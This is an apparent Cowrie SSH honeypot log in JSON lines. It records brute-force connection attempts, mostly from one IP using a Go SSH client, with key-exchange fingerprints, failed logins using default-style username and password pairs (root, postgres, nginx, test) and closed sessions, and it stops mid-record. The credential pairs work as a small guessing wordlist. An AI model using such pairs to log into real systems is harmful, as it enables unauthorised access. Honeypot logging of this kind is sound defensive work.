{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:01.355633Z","src_ip":"192.109.200.237","session":"a5b3178a10e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:01.748385Z","src_ip":"192.109.200.237","session":"a5b3178a10e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:02.834574Z","src_ip":"192.109.200.237","session":"a5b3178a10e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50094,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e82299065f2","protocol":"ssh","message":"New connection: 192.109.200.237:50094 (159.203.135.109:22) [session: 3e82299065f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:04.590611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:04.646986Z","src_ip":"192.109.200.237","session":"3e82299065f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:04.733181Z","src_ip":"192.109.200.237","session":"3e82299065f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:04.983900Z","src_ip":"192.109.200.237","session":"3e82299065f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:06.077385Z","src_ip":"192.109.200.237","session":"3e82299065f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50100,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f9e4815aab4","protocol":"ssh","message":"New connection: 192.109.200.237:50100 (159.203.135.109:22) [session: 9f9e4815aab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:07.862971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:07.869576Z","src_ip":"192.109.200.237","session":"9f9e4815aab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:07.952623Z","src_ip":"192.109.200.237","session":"9f9e4815aab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:08.201684Z","src_ip":"192.109.200.237","session":"9f9e4815aab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:09.288238Z","src_ip":"192.109.200.237","session":"9f9e4815aab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48680,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5b0f6a6b602","protocol":"ssh","message":"New connection: 192.109.200.237:48680 (159.203.135.109:22) [session: b5b0f6a6b602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:11.085127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:11.090173Z","src_ip":"192.109.200.237","session":"b5b0f6a6b602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:11.172489Z","src_ip":"192.109.200.237","session":"b5b0f6a6b602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:11.420892Z","src_ip":"192.109.200.237","session":"b5b0f6a6b602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:12.507831Z","src_ip":"192.109.200.237","session":"b5b0f6a6b602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35100,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dab181f4f77","protocol":"ssh","message":"New connection: 51.250.105.222:35100 (159.203.135.109:22) [session: 1dab181f4f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:13.472236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:13.480094Z","src_ip":"51.250.105.222","session":"1dab181f4f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:13.610217Z","src_ip":"51.250.105.222","session":"1dab181f4f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastya123","message":"login attempt [root/nastya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:14.006105Z","src_ip":"51.250.105.222","session":"1dab181f4f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48696,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4d1b536cba7","protocol":"ssh","message":"New connection: 192.109.200.237:48696 (159.203.135.109:22) [session: c4d1b536cba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:14.417030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:14.424136Z","src_ip":"192.109.200.237","session":"c4d1b536cba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:14.507211Z","src_ip":"192.109.200.237","session":"c4d1b536cba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:14.756308Z","src_ip":"192.109.200.237","session":"c4d1b536cba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:15.138624Z","src_ip":"51.250.105.222","session":"1dab181f4f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:15.845964Z","src_ip":"192.109.200.237","session":"c4d1b536cba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48712,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1a74f8ef737","protocol":"ssh","message":"New connection: 192.109.200.237:48712 (159.203.135.109:22) [session: d1a74f8ef737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:17.555847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:17.562255Z","src_ip":"192.109.200.237","session":"d1a74f8ef737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:17.654521Z","src_ip":"192.109.200.237","session":"d1a74f8ef737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:17.904562Z","src_ip":"192.109.200.237","session":"d1a74f8ef737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:19.078516Z","src_ip":"192.109.200.237","session":"d1a74f8ef737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35728,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dceb16104d2","protocol":"ssh","message":"New connection: 192.109.200.237:35728 (159.203.135.109:22) [session: 0dceb16104d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:20.680861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:20.686472Z","src_ip":"192.109.200.237","session":"0dceb16104d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:20.769214Z","src_ip":"192.109.200.237","session":"0dceb16104d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:21.016599Z","src_ip":"192.109.200.237","session":"0dceb16104d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:22.102167Z","src_ip":"192.109.200.237","session":"0dceb16104d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35744,"dst_ip":"159.203.135.109","dst_port":22,"session":"f01ae86d80d3","protocol":"ssh","message":"New connection: 192.109.200.237:35744 (159.203.135.109:22) [session: f01ae86d80d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:24.031445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:24.038701Z","src_ip":"192.109.200.237","session":"f01ae86d80d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 